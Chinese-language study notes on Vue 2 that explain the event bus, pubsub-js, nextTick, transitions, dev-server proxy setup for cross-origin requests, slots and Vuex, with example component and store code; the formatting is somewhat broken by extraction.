1. 一种组件间通信的方式，适用于任意组件间通信。
2. 安装全局事件总线：

```js
new Vue({
    ......
    beforeCreate() {//为了能使用$on,$off,$emit，只有在vm实例对象和vc实例对象上有,最简单就是在这个上弄VM，还有其他
        Vue.prototype.$bus = this //安装全局事件总线，$bus就是当前应用的vm
    },
    ......
})
```

3. 使用事件总线：
    1. 接收数据：A组件想接收数据，则在A组件中给$bus绑定自定义事件，事件的回调留在A组件自身。

```js
methods(){
    demo(data){......}
}
......
mounted() {
    this.$bus.$on('xxxx',this.demo)
}
```

    2. 提供数据：```this.$bus.$emit('xxxx',数据)```

4. 最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件。

main.js

```
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'

// window.x={x:1,y:2}//这样定义所有人都能看到该数据，但是一般不会这样做
// VueComponent.prototype.x={x:1,y:2}//想写这个让组件实例对象都看得见，但是这里写是undefined，因为VueComponent不是程序定义的，是Vue.extend生成的，每次调用Vue.extend生成的都是新的VueComponent，所以不合适用VC,不要轻易修改源码,但是有一个VueComponent.prototype._proto_===vue.prototpe,即这个可以让VC访问到VM上的东西
// Vue.prototype.x={x:1,y:2}//所有人能看到这个x了，但x值不符合要求
// console.log(Vue.prototype)
// Vue.prototype.x=vm或vc
// 这是VC,
// const demo=Vue.extend({})
// const d=new Demo()
// Vue.prototype.x=d
// 后面使用总线用的是this.$x.$emit等
// 这是vm
// Vue.prototype.x=vm//放这里太早，后面vue实例对象还没执行，所以最好就是在beforecreated中执行，因为beforecreated的this是vm,且模板还未解析
//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    beforeCreate() {
        Vue.prototype.$bus = this //安装全局事件总线
    },
})
// Vue.prototype.x=vm//指的上面这些行走完了才执行，意味着已经把整个页面都放上去了，就晚了，不能放这里
```

app.vue

```
<template>
    <div class="app">
        <h1>{{msg}}</h1>
```

```
                <School/>
                <Student/>
            </div>
        </template>
        <script>
            import Student from './components/Student'
            import School from './components/School'
            export default {
                name:'App',
                components:{School,Student},
                data() {
                    return {
                        msg:'你好啊！',
                    }
                }
            }
        </script>
        <style scoped>
            .app{
                background-color: gray;
                padding: 5px;
            }
        </style>
```

school.vue

```
        <template>
            <div class="school">
                <h2>学校名称：{{name}}</h2>
                <h2>学校地址：{{address}}</h2>
            </div>
        </template>
        <script>
            export default {
                name:'School',
                data() {
                    return {
                        name:'尚硅谷',
                        address:'北京',
                    }
                },
                mounted() {
                    // console.log('School',this)
                    this.$bus.$on('hello',(data)=>{
```

```
                            console.log('我是School组件，收到了数
据',data)
                        })
                    },
                    beforeDestroy() {
                        this.$bus.$off('hello')
                    },
                }
            </script>
            <style scoped>
                .school{
                    background-color: skyblue;
                    padding: 5px;
                }
            </style>
        student.vue
            <template>
                <div class="student">
                    <h2>学生姓名：{{name}}</h2>
                    <h2>学生性别：{{sex}}</h2>
                    <button @click="sendStudentName">把学生名给School
组件</button>
                </div>
            </template>
            <script>
                export default {
                    name:'Student',
                    data() {
                        return {
                            name:'张三',
                            sex:'男',
                        }
                    },
                    mounted() {
                        // console.log('Student',this.x)
                    },
                    methods: {
                        sendStudentName(){
                            this.$bus.$emit('hello',this.name)
                        }
                    },
                }
```

```
</script>
<style lang="less" scoped>
    .student{
        background-color: pink;
        padding: 5px;
        margin-top: 30px;
    }
</style>
```

34._消息订阅与发布（pubsub）

消息订阅与发布（pubsub）

订阅消息：消息名，发布消息：消息内容，这里用到的是第三方的库pubsub-js，别的库也行

取消订阅用id取消，在第三方库中function用this,不是VM,可以使用箭头函数来使用this就是vm或者调用方法就行

感觉订阅和总线有点像，总线的x就是pubsub-js

1. 一种组件间通信的方式，适用于任意组件间通信。
2. 使用步骤：
   1. 安装pubsub：`npm i pubsub-js`
   2. 引入: `import pubsub from 'pubsub-js'`//收数据的人(订阅消息)和发布数据（发布消息）的引入，pubsub是个对象，上面有很多有用的方法
   3. 接收数据：A组件想接收数据，则在A组件中订阅消息，订阅的回调留在A组件自身。

```
js
methods(){
    demo(data){......}
}
......
mounted() {
    this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
}
```

   4. 提供数据：`pubsub.publish('xxx',数据)`
   5. 最好在beforeDestroy钩子中，用`PubSub.unsubscribe(pid)`去取消订阅。

app.vue

school.vue

student.vue

35._src_nextTick

nextTick

在输入框自动获取焦点，当input框隐藏了，再去调focus，是不会获取焦点的，这是顺序上的问题，因为要把handleEdit方法全部执行完才解析模板，所以当执行到foucs的时候，input还没出现，所以不会获取焦点，所以解决方法：1.定时器，2.用vm.$nextTick(callback)

官方解决：vm.$nextTick(callback)是在dom节点更新之后才会执行

```
    render: h => h(App),
    beforeCreate() {
      Vue.prototype.$bus = this
    },
  })
```

Myitem.vue

36.*src*过渡和动画

Vue封装的过度与动画

1. 作用：在插入、更新或移除 DOM元素时，在合适的时候给元素添加样式类名。
2. 图示：
3. 写法：
   1. 准备好样式：
      - 元素进入的样式：
        1. v-enter：进入的起点
        2. v-enter-active：进入过程中
        3. v-enter-to：进入的终点
      - 元素离开的样式：
        1. v-leave：离开的起点
        2. v-leave-active：离开过程中
        3. v-leave-to：离开的终点
   2. 使用`<transition>`包裹要过度的元素，并配置name属性：

```vue
<transition name="hello">
    <h1 v-show="isShow">你好啊！</h1>
</transition>
```

3. 备注：若有多个元素需要过度，则需要使用：`<transition-group>`，且每个元素都要指定`key`值。

37._vue脚手架配置代理

vue脚手架配置代理

常用的发送ajax请求的方法有哪些？

1.xhr（不常用，太麻烦）xhr,需要new XMLHttpRequest(),在window身上有XMLHttpRequest能直接用，可调用xml.open(),xml.send()等

2.jQuery（对xhr进行二次包装）jQuery，$.get,$.post ，80%都在封装dom操作，20%是一些周边的东西，如ajax请求

3.axios（对xhr进行二次包装）axios比jquery相比优势：他是promise风格的，并且它支持请求拦截器和响应拦截器，体积小是jquery的四分之一，很少用jquery，因为jquery核心是少操作dom操作，又因为我们用react和vue目的就是不操作dom，axios.get,axios.post

4.fetch（fetch和xhr是平级的）fetch，在window身上有fetch方法能直接用，并且也是promise风格的，用的也多，但是axios还是用的多，因为他又两个争议问提：他会把返回的数据包两层promise,即两次.then才能拿到东西，这个问题还能接受，最致命的问题是：他的兼容性问题，不支持IE浏览器

5.vue-resurce（对xhr进行二次包装）,本来是vue团队维护的，现在不维护了，现在用的不多了。他是vue中的插件库，得用Vue.use(xxx),使用了这个插件，VC身上就多了$http,也是promise风格的，也是成功的回调（信息在data里）和失败的回调（信息在message里）,也不常用了，因为年久失修，没人维护了，vue1.0用的多，现在不咋用

```
this.$http.get('http://localhost:8080/students')
```

跨域问题：就是违背了同源策略：同协议名(如http)，同主机名(如localhost)，同端口号(如8080)

端口号不同:浏览器发送请求给服务器，服务器收到请求也把数据发送给浏览器，但是浏览器并没有进一步的给你，因为浏览器发现，他跨域了，浏览器就把数据拿着但是没有进一步给他

解决端口号不同跨域问题（三种方法）：

1.cors,不用前端人员做任何操作，cors就是写服务器的人在服务器里面返回响应的时候携带加几个特殊的响应头，就是告诉浏览器，虽然浏览器跨域了，服务器已经表态了，要把数据发给你，所以浏览器就把数据给我了，这是真正意义上的解决跨域问题，让后端人员配置点响应头不就行了，但是真正开发当中，响应头不是随便配置的，配置了造成的问题就是任何人都能找这台服务器要数据，这是不对的，但可以把自己家网站配置cors,就是麻烦后端人员

2.jsonp,借助script标签里面的src，src属性在引入外部资源的时候不受同源策略限制的特点办到的，但是jsonp巧妙归巧妙，但是真正开发时候用的很少，因为jsonp解决跨域问题得是前端人员用点特殊的写法，后端人员也得配合你，前后端得一起努力才行，而且只能解决get跨域问题，不能解决post等其他跨域问题

3.配置一个代理服务器，代理服务器端口号和前端人员所处的端口号相同,代理服务器和房屋中介一样，浏览器（8080）<==>代理服务器（8080）<==>后端服务器（5050）,因为服务器和服务器之间传数据不用ajax，用的是最传统的http请求，所以同源策略管不到服务器之间传数据，所以代理服务器应该怎么开呢？

代理服务器应该怎么开呢？

1.（后端）nginx,非常经典的反向代理服务器，也可以做服务器负载均衡.nginx学习成本比较高，因为需要了解后端内容才行，所以不提这个了

2.（更加简单）借助vue-cli开启代理服务器方式1，配置代理服务器即可，在vue.config,js中配置devserver的proxy: 'http://localhost:4000' ,当在vue.config.js中配置了就要重新启动一下运行结果,当代理服务器请求的资源自己本身有就不会把请求转发给5000服务器（如请求文件名相同的文件），没有的资源就会转发给服务器，public文件夹就是浏览器8080服务器的根路径,里面的资源就是已有的，当public里面有的内容，代理服务器就不会代理其内容，直接用已有的内容(不能灵活的控制走不走代理)，还有一个缺点就是只能代理一个服务器，不方便

```
devServer: {
  proxy: 'http://localhost:5000'
}
axios.get('http://localhost:8080/students')
```

3.（更加简单）借助vue-cli开启代理服务器方式2，配置代理服务器，

```
devServer: {//可配置多个服务器，5000,5001
  proxy: {
    // 浏览器请求的前缀是不是/api,如果是就走代理，如果不是,就不走代理，走本地已有的
    '/api': {//这是详细内容
      // target: '',
      target: 'http://localhost:5000',
      pathRewrite:{'^/api':''}//这里才能保证代理服务器转发给5000服务器的地址不包含/api，因为5000服务器有了/api并不能访问到数据，失败
      ws: true,//用于支持websocket
      changeOrigin: true //用于控制请求头中的host值，就是代理服务器向服务器请求时，会撒谎说自己来自于5000端口(为true时),否则实话实说自己时8080有可能服务器不让代理服务器请求怎么办，实话实说就是（false）,撒谎就是(true)
    },
    '/api1': {//这是详细内容
      // target: '',
      target: 'http://localhost:5001',
      pathRewrite:{'^/api1':''}//这里才能保证代理服务器转发给5000服务器的地址不包含/api，因为5000服务器有了/api并不能访问到数据，失败
      ws: true,//用于支持websocket
      changeOrigin: true //用于控制请求头中的host值，就是代理服务器向服务器请求时，会撒谎说自己来自于5000端口(为true时),否则实话实说自己时8080有可能服务器不让代理服务器请求怎么办，实话实说就是（false）,撒谎就是(true)
    },
    // '/foo': {//这是上面精简的内容
    //     target: '<other_url>'
    // }
  }
}
axios.get('http://localhost:8080/students')
```

方法一

- 在vue.config.js中添加如下配置：

```js
devServer:{
proxy:"http://localhost:5000"
}
```

说明：

1. 优点：配置简单，请求资源时直接发给前端（8080）即可。
2. 缺点：不能配置多个代理，不能灵活的控制请求是否走代理。
3. 工作方式：若按照上述配置代理，当请求了前端不存在的资源时，那么该请求会转发给服务器 （优先匹配前端资源）

方法二

- 编写vue.config.js配置具体代理规则：

```js
module.exports = {
    devServer: {
        proxy: {
        '/api1': {// 匹配所有以 '/api1'开头的请求路径
            target: 'http://localhost:5000',// 代理目标的基础路径
            changeOrigin: true,
            pathRewrite: {'^/api1': ''}
        },
        '/api2': {// 匹配所有以 '/api2'开头的请求路径
            target: 'http://localhost:5001',// 代理目标的基础路径
            changeOrigin: true,
            pathRewrite: {'^/api2': ''}
        }
    }
}
/*
changeOrigin设置为true时，服务器收到的请求头中的host为：localhost:5000
changeOrigin设置为false时，服务器收到的请求头中的host为：localhost:8080
changeOrigin默认值为true
*/
```

说明：

1. 优点：可以配置多个代理，且可以灵活的控制请求是否走代理。

2. 缺点：配置略微繁琐，请求资源时必须加前缀。

app.vue

```
<template>
    <div>
        <button @click="getStudents">获取学生信息</button>
        <button @click="getCars">获取汽车信息</button>
    </div>
</template>
<script>
    import axios from 'axios'
    export default {
        name:'App',
        methods: {
            getStudents(){

axios.get('http://localhost:8080/students').then(
                        // response就是请求成功做的内容
                        response => {
                            console.log('请求成功
了',response.data)
                        },
                        // 请求失败做的内容
                        error => {
                            console.log('请求失败
了',error.message)
                        }
                    )
                },
                getCars(){

axios.get('http://localhost:8080/demo/cars').then(
                        response => {
                            console.log('请求成功
了',response.data)
                        },
                        error => {
                            console.log('请求失败
了',error.message)
                        }
                    )
                }
            },
```

```
            }
        </script>
    main.js
        //引入Vue
        import Vue from 'vue'
        //引入App
        import App from './App.vue'
        //关闭Vue的生产提示
        Vue.config.productionTip = false
        //创建vm
        new Vue({
            el:'#app',
            render: h => h(App),
            beforeCreate() {
                Vue.prototype.$bus = this
            },
        })
```

38._插槽

插槽

自标签,还有结束标签<

当需要同一个组件中能显示不同的内容，需要使用插槽slot，如果不写slot,直接在组件标签体中写内容，因为vue解析完标签并不知道应该把解析内容放在哪里，是写在组件标签的前面还是后面呢，所以需要slot来定位到底写在哪里，而且可以写多个slot,写多个插槽得写名字，才能知道哪个是哪个些什么内容。

1. 作用：让父组件可以向子组件指定位置插入html结构，也是一种组件间通信的方式，适用于 父组件 ===> 子组件 。

2. 分类：默认插槽、具名插槽、作用域插槽

3. 使用方式：

1. 默认插槽：

```
vue
            父组件中：
                    <Category>
                        <div>html结构1</div>
                    </Category>
                        如：  <div class="container">
                                    <Category title="美食" >
                                        <img
src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
                                    </Category>
```

```
                                    <Category title="游戏" >
                                        <ul>
                                            <li v-for="(g,index) in games"
:key="index">{{g}}</li>
                                        </ul>
                                    </Category>
                                    <Category title="电影">
                                        <video controls
src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
                                    </Category>
                                </div>
            子组件中：
                        <template>
                            <div>
                                <!-- 定义插槽 -->
                                <!-- 定义一个插槽（挖个坑，等着组件的使用者进行填充） -->
                                // <slot>插槽默认内容...</slot>
                                <slot>我是一些默认值，当使用者没有传递具体结构时，我会出
现</slot>
                            </div>
                        </template>
```

2. 具名插槽：

v-slot:footer只能用在template上，div上不能用，slot="center"在div和template都能使用

```vue
父组件中：
```

html结构3

```
                        <template slot="center">
                            <div>html结构1</div>
                        </template>

                        <template v-slot:footer>
                            <div>html结构2</div>
                        </template>
                    </Category>
                        如：<div class="container">
```

```
                            <Category title="美食" >
                                <img slot="center"
src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
                                <a slot="footer"
href="http://www.atguigu.com">更多美食</a>
                            </Category>
                            <Category title="游戏" >
                                <ul slot="center">
                                    <li v-for="(g,index) in games"
:key="index">{{g}}</li>
                                </ul>
                                <div class="foot" slot="footer">
                                    <a
href="http://www.atguigu.com">单机游戏</a>
                                    <a
href="http://www.atguigu.com">网络游戏</a>
                                </div>
                            </Category>
                            <Category title="电影">
                                <video slot="center" controls
src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
                                <template v-slot:footer>
                                    <div class="foot">
                                        <a
href="http://www.atguigu.com">经典</a>
                                        <a
href="http://www.atguigu.com">热门</a>
                                        <a
href="http://www.atguigu.com">推荐</a>
                                    </div>
                                    <h4>欢迎前来观影</h4>
                                </template>
                            </Category>
                        </div>
```

子组件中：

```
                <template>
                    <div>
                        <!-- 定义插槽 -->
                        <slot name="center">插槽默认内容...</slot>
                        <slot name="footer">插槽默认内容...</slot>
                    </div>
```

```
                </template>
        ```

    3. 作用域插槽：

        slot-scope="scopeData"和scope="scopeData"或者 slot-scope="{games}"和scope="{games}"

        之前的插槽都是数据和组件标签都在父组件里面，现在作用域插槽，数据不放在父组件中了，放在子组件中

        1. 理解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（games数据在Category组件中，但使用数据所遍历出来的结构由App组件决定）

        2. 具体编码：

            ```vue
            父组件中：
                    <Category>
                        //作用域插槽必须使用template，这里的scopeData就是个对象，之所以是对象，因为会传多个值，scopeData.games就是子组件中的games数组
                        <template scope="scopeData">
                            <!-- 生成的是ul列表 -->
                            <ul>
                                <li v-for="g in scopeData.games" :key="g">{{g}}</li>
                            </ul>
                        </template>
                    </Category>

                    <Category>
                        //作用域插槽必须使用template，这里的scopeData就是个对象，scopeData.games就是子组件中的games数组
                        <template scope="scopeData">
                            <!-- 生成的是ol列表 -->
                            <ol>
                                <li style="color:red" v-for="g in scopeData.games" :key="g">{{g}}</li>
                            </ol>
                            <h4>{{scopeData.msg}}</h4>
                        </template>
                    </Category>

                     <Category>
                        // 使用es6的解构赋值{games}就能减少scopeData.msg，不用一直写scopeData.
                        <template scope="{games}">
```

```
                            <ol>
                                <li style="color:red" v-for="g in
games" :key="g">{{g}}</li>
                            </ol>
                            <h4>{{scopeData.msg}}</h4>
                        </template>
                    </Category>

                    <Category>
                        <template slot-scope="scopeData">
                            <!-- 生成的是h4标题 -->
                            <h4 v-for="g in scopeData.games"
:key="g">{{g}}</h4>
                        </template>
                    </Category>

                    <Category>
                        <template slot-scope="{games}">
                            <!-- 生成的是h4标题 -->
                            <h4 v-for="g in games" :key="g">{{g}}
</h4>
                        </template>
                    </Category>
```

子组件中：

```
                    //slot :games="games"就是把games传给了插槽的使用者
                    <template>
                        <div>
                            <slot :games="games" msg="hello">
</slot>
                        </div>
                    </template>
                    <script>
                        export default {
                            name:'Category',
                            props:['title'],
                            //数据在子组件自身
                            data() {
                                return {
                                    games:['红色警戒','穿越火线','劲舞
团','超级玛丽']
                                }
                            },
```

```
                    }
                </script>
            ```
```

39._src_vuex

## Vuex

axios.get().then(response=>{},error=>{})//response，error成功和失败的回调

免费的后端api:https://api.uixsj.cn/hitokoto/get?type=social是个免费的api。用到api的地方要导入axios

Vue使用nanoid生成唯一id，需要安装，引入和使用，

{a}===>{a:'a'},{...,...,{}}即对象中写对象不可能，所以用ES6语法的...，因为mapstate本身就是对对象，所以用...mapstate就是把mapstate中的对象都展开到外面的对象中

执行代码顺序：1.首先import内容顺序执行，不管在个位置==>2.其他后续代码顺序执行

本来是return this.$store.getters.personAbout/firstPersonName，但是这样return 的值没有这样的写法，所以用到es6的语法 ：return this.$store.getters['personAbout/firstPersonName']

模块化之后的getter和state里面的内容有点变化，要看看

所以import vuex和use(vuex)在store的index.js中用，不用在main.js中写，因为要执行store得先use(vuex)。

解决select的值是字符串：1.v-model.number，2.:value变成js表达式

1

store是来管理state,actions,mutations,为什么需要store管理，因为dispatch不是由window提供的，是由store来提供的，所以使用store.dispatch，store.commit才能用，任何组件都能调用这两，所以需要所有组件实例VC都能看见store

state(菜（类似data）)：状态(数据)，他是个对象，即把数据交给vuex里的state对象来管理，

Vue Component(客人):组件

actions(服务员)：（有业务判断逻辑或者需要动作的值时）动作，行为，他也是object类型对象，还是有点作用的，就是上面的backend api(后端接口)，即dispatch中有chu动作类型，但是没有动作值，这时actions就发了请求，问了后端接口如百度的服务器9吧，即当我进行一个动作，但是这个动作所对应的值需要发送ajax请求才能获取的时候，就需要在哪里获取ajax请求呢就是在actions中请求，当有动作和动作的值时，在vuecomponent可直接调用commit走到mutations

mutations(后厨)：维护，加工，修改，他也是object类型对象，有一条链接devtools，因为mutations才是真正修改和加工state的

getter(类似computed):但在插值中写比较复杂的表达式时如num*10+2*等等，不是写一次而是很多次，即对*state*中的数据想进行加工做复杂的运算、并且运算逻辑时固定的，很多程序员都要用这个运算，就不适合直接在插值中写运算，会想着用计算属性，但是计算属性只能当前组件用，其他组件用不了，所以就要借助*getters*这个配置项*{{$store.getters.bigSum}}*，*getters*和*actions*等同级。

*dispatch*：分发，派遣，他是一个*api*，*state{sum:0,todos:[]*等*},*走到*vuecomponents*组
```

件，他调用*dispatch*函数，因为在组件数据不在自身，但是自己要一个值*2*和动作加，调用*dispatch*函数传两个参数（动作类型，值）,调用*dispatch('jia',2)*走到*actions,actions*对象中一定有*{'jia':function}*然后引起加函数*'jia':function*的调用，函数收到了传过来的值*2*，这个函数里面自己会调用*commit*这个*api*，*commit(*提交*)*也是函数，*commit('jia',2),git*就有一个*git commit*命令提交，提交就走到*mutations(*对象*)*里面也一定有*{'jia':function}*，这个加函数*'jia':function*一调用就会接受两个参数：初始化的*state*和值*2*，然后该函数里面写*state.sum+=2*，写了这个就会自动走*mutate*（不是*api*），然后*state*中的*sum*变为*2{sum:2}*，随后*vuex*就重新解析组件去渲染后续再走一遍这个流程。

commit：提交，他是一个*api*，

mutate：加工，不是*api*，

*mapState,mapGetters,mapMutations,mapActions:*总不能每次要用*state*和*getter*中的数据都要写一长坠的*$store.state.sum*，*$store.getter.bigsum,*最好的终极目标就是直接写*sum,bigsum,*如果用计算属性，就需要这样写*computed:{sum1(){return this.$store.state.sum}},*这样写还是要写很多其他相同的内容，繁琐，所以*vuex*还是想到了，用一个*mapstate*里面要传入两个参数（*{'sum1':'sum'}*）

*mapMutations,mapActions*得传参,因为方法是这样写的*increment(value){this.$store.commit('JIA',value)}*//不传参就是会有*event,*所以方法得传参

当前求和为：*{{sum}}*

当前求和放大*10*倍为：*{{bigSum}}*

我在*{{school}}*，学习*{{subject}}*

1 <*button @click="increment(n)"*>+ <*button @click="decrement(n)"*>- <*button @click="incrementOdd(n)"*>当前求和为奇数再加 <*button @click="incrementWait(n)"*>等一等再加

import {mapState,mapGetters,mapMutations,mapActions} from 'Vuex' computed:{ //靠程序员自己亲自去写计算属性 / sum(){ return this.$store.state.sum }, school(){ return this.$store.state.school }, subject(){ return this.$store.state.subject }, */

```
                    //借助mapState,mapGetters生成计算属性，从state中读取数据。（对象写法）
                    ...mapState(['sum','school','subject']),
                    ...mapGetters({bigSum:'bigSum'}),
```

```
                    //借助mapState,mapGetters生成计算属性，从state中读取
数据。（数组写法）,生成属性名和要读取名要相同都是sum等
                    ...mapState(['sum','school','subject']),
                    ...mapGetters(['bigSum']),
                },
                methods: {
                    //程序员亲自写方法
                    /* increment(){
                        this.$store.commit('JIA',this.n)
                    },
                    decrement(){
                        this.$store.commit('JIAN',this.n)
                    }, */

                    //借助mapMutations生成对应的方法，方法中会调用commit去
联系mutations(对象写法)

...mapMutations({increment:'JIA',decrement:'JIAN'}),

                    //借助mapMutations生成对应的方法，方法中会调用commit去
联系mutations(数组写法)
                    // ...mapMutations(['JIA','JIAN']),

                    /*
********************************************** */

                    //程序员亲自写方法
                    /* incrementOdd(){
                        this.$store.dispatch('jiaOdd',this.n)
                    },
                    incrementWait(){
                        this.$store.dispatch('jiaWait',this.n)
                    }, */

                    //借助mapActions生成对应的方法，方法中会调用dispatch去
联系actions(对象写法)

...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

                    //借助mapActions生成对应的方法，方法中会调用dispatch去
联系actions(数组写法)
                    // ...mapActions(['jiaOdd','jiaWait'])
```

```
        },
```

多组件共享数据：在不同组件中使用vuex中的mapstate等数据写的，count.vue是最原始的方式写的

Vue使用nanoid生成唯一id，需要安装，引入和使用，

index.js

```
//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)
//准备actions——用于响应组件中的动作
const actions = {
    jiaOdd(context,value){
        console.log('actions中的jiaOdd被调用了')
        if(context.state.sum % 2){
            context.commit('JIA',value)
        }
    },
    jiaWait(context,value){
        console.log('actions中的jiaWait被调用了')
        setTimeout(()=>{
            context.commit('JIA',value)
        },500)
    }
}
//准备mutations——用于操作数据（state）
const mutations = {
    JIA(state,value){
        console.log('mutations中的JIA被调用了')
        state.sum += value
    },
    JIAN(state,value){
        console.log('mutations中的JIAN被调用了')
        state.sum -= value
    },
    ADD_PERSON(state,value){
        console.log('mutations中的ADD_PERSON被调用了')
        state.personList.unshift(value)
    }
```

```
                    }
                    //准备state--用于存储数据
                    const state = {
                        sum:0, //当前的和
                        school:'尚硅谷',
                        subject:'前端',
                        personList:[
                            {id:'001',name:'张三'}
                        ]
                    }
                    //准备getters--用于将state中的数据进行加工
                    const getters = {
                        bigSum(state){
                            return state.sum*10
                        }
                    }
                    //创建并暴露store
                    export default new Vuex.Store({
                        actions,
                        mutations,
                        state,
                        getters
                    })
            count.vue
                    <template>
                        <div>
                            <h1>当前求和为：{{sum}}</h1>
                            <h3>当前求和放大10倍为：{{bigSum}}</h3>
                            <h3>我在{{school}}，学习{{subject}}</h3>
                            <h3 style="color:red">Person组件的总人数
是：{{personList.length}}</h3>
                            <select v-model.number="n">
                                <option value="1">1</option>
                                <option value="2">2</option>
                                <option value="3">3</option>
                            </select>
                            <button @click="increment(n)">+
</button>
                            <button @click="decrement(n)">-
</button>
                            <button @click="incrementOdd(n)">当前求和
为奇数再加</button>
```

```
                        <button @click="incrementWait(n)">等一等
再加</button>
                    </div>
                </template>
                <script>
                    import
{mapState,mapGetters,mapMutations,mapActions} from 'vuex'
                    export default {
                        name:'Count',
                        data() {
                            return {
                                n:1, //用户选择的数字
                            }
                        },
                        computed:{
                            //借助mapState生成计算属性，从state中读
取数据。（数组写法）

...mapState(['sum','school','subject','personList']),
                            //借助mapGetters生成计算属性，从getters
中读取数据。（数组写法）
                            ...mapGetters(['bigSum'])
                        },
                        methods: {
                            //借助mapMutations生成对应的方法，方法中
会调用commit去联系mutations(对象写法)

...mapMutations({increment:'JIA',decrement:'JIAN'}),
                            //借助mapActions生成对应的方法，方法中会
调用dispatch去联系actions(对象写法)

...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
                        },
                    }
                </script>
                <style lang="css">
                    button{
                        margin-left: 5px;
                    }
                </style>
        person.vue
                <template>
```

```
                        <div>
                            <h1>人员列表</h1>
                            <h3 style="color:red">Count组件求和为:
{{sum}}</h3>
                            <input type="text" placeholder="请输入名
字" v-model="name">
                            <button @click="add">添加</button>
                            <ul>
                                <li v-for="p in personList"
:key="p.id">{{p.name}}</li>
                            </ul>
                        </div>
                    </template>
                    <script>
                        import {nanoid} from 'nanoid'
                        export default {
                            name:'Person',
                            data() {
                                return {
                                    name:''
                                }
                            },
                            computed:{
                                personList(){
                                    return
this.$store.state.personList
                                },
                                sum(){
                                    return this.$store.state.sum
                                }
                            },
                            methods: {
                                add(){
                                    const personObj =
{id:nanoid(),name:this.name}

this.$store.commit('ADD_PERSON',personObj)
                                    this.name = ''
                                }
                            },
                        }
                    </script>
```

vuex模块化+namespace和后端api:因为vuex里面会写不同功能，所以index.js里面显得很乱，所以这个时候就需要模块化，每个功能都写一个对象，里面写actions等vuex功能信息，但是这样还是显得有点乱，可以将那些对象写成一个单独的js文件，然后暴露引入即可

读取对象中的属性方法：1.是用.点，2.使用js语法['字符串']，如：本来是return this.$store.getters.personAbout/firstPersonName，但是这样return 的值没有这样的写法，所以用到es6的语法 ：return this.$store.getters['personAbout/firstPersonName']

模块化之后的getter和state里面的内容有点变化，要看看

vuex模块化和后端api： https://api.uixsj.cn/hitokoto/get?type=social是个免费的api。用到api的地方要导入axios

当写成对象形式：

index.js ：

```
//求和相关的配置
const countOptions= {
    namespaced:true,
    actions:{
        jiaOdd(context,value){
            console.log('actions中的jiaOdd被调用了')
            if(context.state.sum % 2){
                context.commit('JIA',value)
            }
        },
        jiaWait(context,value){
            console.log('actions中的jiaWait被调用了')
            setTimeout(()=>{
                context.commit('JIA',value)
            },500)
        }
    },
    mutations:{
        JIA(state,value){
            console.log('mutations中的JIA被调用了')
            state.sum += value
        },
        JIAN(state,value){
            console.log('mutations中的JIAN被调用了')
            state.sum -= value
```

```
                        },
                    },
                    state:{
                        sum:0, //当前的和
                        school:'尚硅谷',
                        subject:'前端',
                    },
                    getters:{
                        bigSum(state){
                            return state.sum*10
                        }
                    },
                }
                //人员管理相关的配置
                const personOptions= {
                   namespaced:true,
                    actions:{
                        addPersonWang(context,value){
                            if(value.name.indexOf('王') === 0){

context.commit('ADD_PERSON',value)
                            }else{
                                alert('添加的人必须姓王! ')
                            }
                        },
                        addPersonServer(context){

axios.get('https://api.uixsj.cn/hitokoto/get?type=social').then(
                                response => {

context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
                                },
                                error => {
                                    alert(error.message)
                                }
                            )
                        }
                    },
                    mutations:{
                        ADD_PERSON(state,value){
                            console.log('mutations中的ADD_PERSON
被调用了')
```

```
                            state.personList.unshift(value)
                        }
                    },
                    state:{
                        personList:[
                            {id:'001',name:'张三'}
                        ]
                    },
                    getters:{
                        firstPersonName(state){
                            return state.personList[0].name
                        }
                    },
                                        }
                //创建并暴露store
                export default new Vuex.Store({
                    modules:{
                        countAbout:countOptions,
                        personAbout:personOptions
                    }
                })
            count.vue
                <button @click="increment(n)">+</button>
                <button @click="decrement(n)">-</button>
                <button @click="incrementOdd(n)">当前求和为奇数再加
</button>
                <button @click="incrementWait(n)">等一等再加
</button>
                computed:{
                    //借助mapState生成计算属性，从state中读取数据。
（数组写法）
                    ...mapState('countAbout',
['sum','school','subject']),
                    ...mapState('personAbout',['personList']),
                    //借助mapGetters生成计算属性，从getters中读取数
据。（数组写法）
                    ...mapGetters('countAbout',['bigSum'])
                },
                methods: {
                    //借助mapMutations生成对应的方法，方法中会调用
commit去联系mutations(对象写法)
```

```
                        ...mapMutations('countAbout',
{increment:'JIA',decrement:'JIAN'}),
                        //借助mapActions生成对应的方法，方法中会调用
dispatch去联系actions(对象写法)
                        ...mapActions('countAbout',
{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
                    },
                person.vue
                    <button @click="add">添加</button>
                    <button @click="addWang">添加一个姓王的人</button>
                    <button @click="addPersonServer">添加一个人，名字随
机</button>
                    <ul>
                        <li v-for="p in personList" :key="p.id">
{{p.name}}</li>
                    </ul>
                    computed:{
                        personList(){
                            return
this.$store.state.personAbout.personList
                        },
                        sum(){
                            return this.$store.state.countAbout.sum
                        },
                        firstPersonName(){
                            return
this.$store.getters['personAbout/firstPersonName']//读取对象中的属性方
法：1.是用.点，2.使用js语法['字符串']，
                        }
                    },
                    methods: {
                        add(){
                            const personObj =
{id:nanoid(),name:this.name}

this.$store.commit('personAbout/ADD_PERSON',personObj)
                            this.name = ''
                        },
                        addWang(){
                            const personObj =
{id:nanoid(),name:this.name}
```

```
this.$store.dispatch('personAbout/addPersonWang',personObj)
                            this.name = ''
                        },
                        addPersonServer(){

this.$store.dispatch('personAbout/addPersonServer')
                        }
                    },
```

当单独写成js文件形式和后端api：

```
                index.js
                    import countOptions from './count'
                    import personOptions from './person'
                    //应用Vuex插件
                    Vue.use(Vuex)

                    //创建并暴露store
                    export default new Vuex.Store({
                        modules:{
                            countAbout:countOptions,
                            personAbout:personOptions
                        }
                    })
